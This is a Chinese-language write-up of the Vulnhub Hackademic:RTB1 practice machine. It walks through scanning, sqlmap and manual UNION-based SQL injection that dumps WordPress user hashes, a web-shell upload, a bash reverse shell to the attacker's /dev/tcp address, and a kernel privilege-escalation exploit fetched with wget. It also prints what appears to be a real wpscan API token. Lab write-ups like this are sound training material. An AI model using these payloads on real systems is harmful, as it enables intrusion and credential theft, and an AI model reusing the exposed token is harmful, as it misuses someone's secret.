Vulnhub Hackademic:RTB1
0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24

主机ip:192.168.231.136
全端口扫描
nmap -sT -sC -sV -O -p- 192.168.231.136 -oA /root/scan

扫描到两个端口,22ssh端口关闭,80http端口开放,其中http跑的是apache服务器
UDP扫描
nmap -sU --min-rate 10000 -p- 192.168.231.136

无UDP结果
漏洞扫描
nmap --script=vuln -p21,80 192.168.231.136

只有一个枚举有用

内容太多,我们等会进行不下去再研究它
0x02:web渗透
首先扫描目录
dirsearch -u http://192.168.231.136

扫描到这几个有用的目录,我们先打开根页面

说的是我们的最终目的是root这台机器,并给出target,我们点进去看看

给出了我们的goal拿到Key.txt,下面有两个链接,我们点进去看看
Comments:

Uncategorized:

看这个url感觉是有注入的,我们试试

看报错信息那就是SQL注入了,我们跑一遍
sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" --dbs

我们看看wordpress这个库
sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" -D wordpress --tables

我们找找有用的信息
sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users --dump

最终我们在wp_users表单中找到了用户名和密码,其中user_level最高的为10,其用户名和密码如下
用户名:GeorgeMiller
密码:7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)
但是我们的ssh22端口关闭了,之前我们扫目录的url又是403

我们再在我们刚才那个页面扫一下目录呢

成功扫描到登录页面,我们尝试登录


成功以GeorgeMiller的身份登录进来,发现WordPress版本为1.5.1.1,我们在msf上搜索

我们使用第三个,我们看看需要配置什么

我们除了普通配置外还需要设置targeturl,我们在网站中看看
我们在Options中的Miscellaneous找到上传路径和一些配置

我们小做修改

我们在把msf里的配置完善一下

注意一下,这里的是targeturi,我们执行一下

报错了,我们还是手动来吧


我们用antsword去链接

我们反弹个shell
bash -i >& /dev/tcp/192.168.231.131/4444 0>&1

0x03:权限提升
首先提升交互性
python -c 'import pty;pty.spawn("/bin/bash");'

很可惜他没有python

我们的用户是apache,我们先看sudo
sudo -l

没有,我们再看看SUID
find / -type f -perm -04000 -ls 2>/dev/null

也没有什么好用的
我们再看看作业表呢

也没有,那我们看看内核版本呢
cat /proc/version

内核版本还挺低的,应该是有漏洞的,搜搜
searchsploit linux kernel 2.6.3

我们用这个,把它cp下来
searchsploit -m linux/local/33321.c
我们起个服务
python -m http.server 6666
wget http://192.168.231.131:6666/33321.c

拉取成功后编译它
gcc -o 33321 33321.c

我们执行它

寄,用不了,我们换一个

我们选这个,跟刚才一样


这下成功了!
还记得之前的goal吗?拿到key.txt就算胜利!

成功!
0x04:思考补充
1.尝试手工注入
刚才我们用的是sqlmap跑出来的,现在尝试一下纯手工注入
我们先查字段
?cat=1 order by 6

报错,说明当前数据库只有5个字段
接下来我们联合查询
?cat=1 and 1=2 union select 1,2,3,4,5

发现返回的是2,显示的是字段2的内容,我们先看是什么库
?cat=1 and 1=2 union select 1,database(),3,4,5

是wordpress的数据库,我们去官网查表
https://codex.wordpress.org/Database_Description/1.5

我们先查user_level
?cat=1 and 1=2 union select 1,group_concat(user_level),3,4,5 from wp_users

是可以查到的,我们再看看user_login
?cat=1 and 1=2 union select 1,group_concat(user_login),3,4,5 from wp_users
因为它自带了limit 1,所以我们要加上group_concat()才能读全

再看user_pass
?cat=1 and 1=2 union select 1,group_concat(user_pass),3,4,5 from wp_users

放在一起就是
?cat=1 and 1=2 union select 1,group_concat(id,0x2d,user_level,0x2d,user_login,0x2d,user_pass),3,4,5 from wp_users
加上0x2d作为分割符

1-1-NickJames-21232f297a57a5a743894a0e4a801fc3,
2-0-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c,
3-10-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054,
4-0-TonyBlack-a6e514f9486b83cb53d8d932f9a04292,
5-0-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4,
6-0-MaxBucky-50484c19f1afdaf3841a0d821ed393d2
我们再手动hash密码就完事了
2.我们在搜索内核提权的时候,感觉选项太多,我们可以grep "Local Privilege Escalation"
searchsploit linux kernel 2.6.3 |grep "Local Privilege Escalation"
3.可以使用wpscan对wordpress进行漏洞扫描
wpscan --url http://192.168.231.136/Hackademic_RTB1/ --enumerate ap --api-token 0Du8ow5jLqgfJgCOnxvsgKaEZacsPltJCKAaQDyFoCg


浙公网安备 33010602011771号